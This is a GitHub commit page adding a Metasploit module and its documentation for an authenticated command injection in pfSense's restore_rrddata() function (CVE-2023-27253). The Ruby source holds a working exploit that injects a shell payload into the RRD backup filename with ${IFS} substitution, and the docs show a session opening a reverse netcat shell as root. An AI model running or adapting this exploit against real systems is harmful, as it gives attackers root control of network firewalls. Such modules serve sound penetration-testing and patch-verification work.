Skip to content

Commit

Permalink
Land #17861, pfSense Config Data RCE as root
Browse files Browse the repository at this point in the history
This module exploits a vulnerability in pfSense version
2.6.0 and below which allows for authenticated users to
execute arbitrary operating systems commands as root.
  • Loading branch information
jheysel-r7 committed Jul 12, 2023
2 parents 6b06b77 + 34f25fb commit 10c1b79
Show file tree
Hide file tree
Showing 2 changed files with 301 additions and 0 deletions.
@@ -0,0 +1,61 @@
## Vulnerable Application

This module exploits an authenticated command injection vulnerabilty in the `restore_rrddata()` function of
pfSense prior to 2.7.0 which allows an authenticated attacker with the `WebCfg - Diagnostics: Backup & Restore` privilege
to execute arbitrary operating system commands as the `root` user.

This module has been tested successfully on version 2.6.0-RELEASE.

### Installing the Application
Download the ISO from [pfSense 2.6.0-RELEASE](https://atxfiles.netgate.com/mirror/downloads/pfSense-CE-2.6.0-RELEASE-amd64.iso.gz)
and then create a VMWare or VirtualBox VM using this ISO.

Note that you may wish to use the BIOS boot method when prompted for which method to use for installation,
rather than ZFS or UEFI for testing purposes, just to simplify setup. Otherwise you can accept the default settings.

Once installation is finished you should be prompted to reboot. Reboot, then enter `n` when asked if you want to set up VLANs.

For the WAN prompt enter `em0` which should work, or whatever one other than `a` that appears in the prompt and hit ENTER.

Wait for setup to complete then try to browse to `http://<IP ADDRESS SHOWN HERE>/` replacing the
placeholder with the IP address shown in the prompt. You should see the login page for pfSense.

Log in with username `admin` and password `pfsense`. There should be a setup GUI that appears. Accept all the defaults
and keep clicking `Next` at each of the steps and then `Finish` at the final step. Finally click `Accept` on the export
warning page and `Close` on the following popup. You should now see the main dashboard and should be ready to test the
module.

## Verification Steps
1. Start `msfconsole`
2. Do: `use exploit/unix/http/pfsense_config_data_exec`
3. Do: `set RHOST [IP]`
4. Do: `set USERNAME [username]`
5. Do: `set PASSWORD [password]`
6. Do: `set LHOST [IP]`
7. Do: `exploit`

## Options

## Scenarios

### pfSense Community Edition 2.6.0-RELEASE

```
msf6 exploit(unix/http/pfsense_config_data_exec) > use exploit/unix/http/pfsense_config_data_exec
[*] Using configured payload cmd/unix/reverse_netcat
msf6 exploit(unix/http/pfsense_config_data_exec) > set RHOST 1.1.1.1
RHOST => 1.1.1.1
msf6 exploit(unix/http/pfsense_config_data_exec) > set LHOST 2.2.2.2
LHOST => 2.2.2.2
msf6 exploit(unix/http/pfsense_config_data_exec) > exploit
[*] Started reverse TCP handler on 2.2.2.2:4444
[*] pfSense version: 2.6.0-RELEASE
[+] The target is vulnerable.
[*] Command shell session 1 opened (2.2.2.2:4444 -> 1.1.1.1:21942) at 2023-03-26 02:10:48 +0300
id
uid=0(root) gid=0(wheel) groups=0(wheel)
whoami
root
```
240 changes: 240 additions & 0 deletions modules/exploits/unix/http/pfsense_config_data_exec.rb
@@ -0,0 +1,240 @@
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'pfSense Restore RRD Data Command Injection',
'Description' => %q{
This module exploits an authenticated command injection vulnerabilty in the "restore_rrddata()" function of
pfSense prior to version 2.7.0 which allows an authenticated attacker with the "WebCfg - Diagnostics: Backup & Restore"
privilege to execute arbitrary operating system commands as the "root" user.
This module has been tested successfully on version 2.6.0-RELEASE.
},
'License' => MSF_LICENSE,
'Author' => [
'Emir Polat', # vulnerability discovery & metasploit module
],
'References' => [
['CVE', '2023-27253'],
['URL', 'https://redmine.pfsense.org/issues/13935'],
['URL', 'https://github.com/pfsense/pfsense/commit/ca80d18493f8f91b21933ebd6b714215ae1e5e94']
],
'DisclosureDate' => '2023-03-18',
'Platform' => ['unix'],
'Arch' => [ ARCH_CMD ],
'Privileged' => true,
'Targets' => [
[ 'Automatic Target', {}]
],
'Payload' => {
'BadChars' => "\x2F\x27",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic netcat'
}
},
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)

register_options [
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense'])
]
end

def check
unless login
return Exploit::CheckCode::Unknown("#{peer} - Could not obtain the login cookies needed to validate the vulnerability!")
end

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
'method' => 'GET',
'keep_cookies' => true
)

return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return Exploit::CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

unless res&.body&.include?('Diagnostics: ')
return Exploit::CheckCode::Safe('Vulnerable module not reachable')
end

version = detect_version
unless version
return Exploit::CheckCode::Detected('Unable to get the pfSense version')
end

unless Rex::Version.new(version) < Rex::Version.new('2.7.0-RELEASE')
return Exploit::CheckCode::Safe("Patched pfSense version #{version} detected")
end

Exploit::CheckCode::Appears("The target appears to be running pfSense version #{version}, which is unpatched!")
end

def login
# Skip the login process if we are already logged in.
return true if @logged_in

csrf = get_csrf('index.php', 'GET')
unless csrf
print_error('Could not get the expected CSRF token for index.php when attempting login!')
return false
end

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'vars_post' => {
'__csrf_magic' => csrf,
'usernamefld' => datastore['USERNAME'],
'passwordfld' => datastore['PASSWORD'],
'login' => ''
},
'keep_cookies' => true
)

if res && res.code == 302
@logged_in = true
true
else
false
end
end

def detect_version
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET',
'keep_cookies' => true
)

# If the response isn't a 200 ok response or is an empty response, just return nil.
unless res && res.code == 200 && res.body
return nil
end

if (%r{Version.+<strong>(?<version>[0-9.]+-RELEASE)\n?</strong>}m =~ res.body).nil?
nil
else
version
end
end

def get_csrf(uri, methods)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, uri),
'method' => methods,
'keep_cookies' => true
)

unless res && res.body
return nil # If no response was returned or an empty response was returned, then return nil.
end

# Try regex match the response body and save the match into a variable named csrf.
if (/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body).nil?
return nil # No match could be found, so the variable csrf won't be defined.
else
return csrf
end
end

def drop_config
csrf = get_csrf('diag_backup.php', 'GET')
unless csrf
fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when dropping the config!')
end

post_data = Rex::MIME::Message.new

post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')
post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')
post_data.add_part('Download configuration as XML', nil, nil, 'form-data; name="download"')
post_data.add_part('', nil, nil, 'form-data; name="restorearea"')
post_data.add_part('', 'application/octet-stream', nil, 'form-data; name="conffile"')
post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s,
'keep_cookies' => true
)

if res && res.code == 200 && res.body =~ /<rrddatafile>/
return res.body
else
return nil
end
end

def exploit
unless login
fail_with(Failure::NoAccess, 'Could not obtain the login cookies!')
end

csrf = get_csrf('diag_backup.php', 'GET')
unless csrf
fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when starting exploitation!')
end

config_data = drop_config
if config_data.nil?
fail_with(Failure::UnexpectedReply, 'The drop config response was empty!')
end

if (%r{<filename>(?<file>.*?)</filename>} =~ config_data).nil?
fail_with(Failure::UnexpectedReply, 'Could not get the filename from the drop config response!')
end
config_data.gsub!(' ', '${IFS}')
send_p = config_data.gsub(file, "WAN_DHCP-quality.rrd';#{payload.encoded};")

post_data = Rex::MIME::Message.new

post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')
post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')
post_data.add_part('yes', nil, nil, 'form-data; name="donotbackuprrd"')
post_data.add_part('yes', nil, nil, 'form-data; name="backupssh"')
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')
post_data.add_part('rrddata', nil, nil, 'form-data; name="restorearea"')
post_data.add_part(send_p.to_s, 'text/xml', nil, "form-data; name=\"conffile\"; filename=\"rrddata-config-pfSense.home.arpa-#{rand_text_alphanumeric(14)}.xml\"")
post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')
post_data.add_part('Restore Configuration', nil, nil, 'form-data; name="restore"')

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s,
'keep_cookies' => true
)

if res
print_error("The response to a successful exploit attempt should be 'nil'. The target responded with an HTTP response code of #{res.code}. Try rerunning the module.")
end
end
end

0 comments on commit 10c1b79

Please sign in to comment.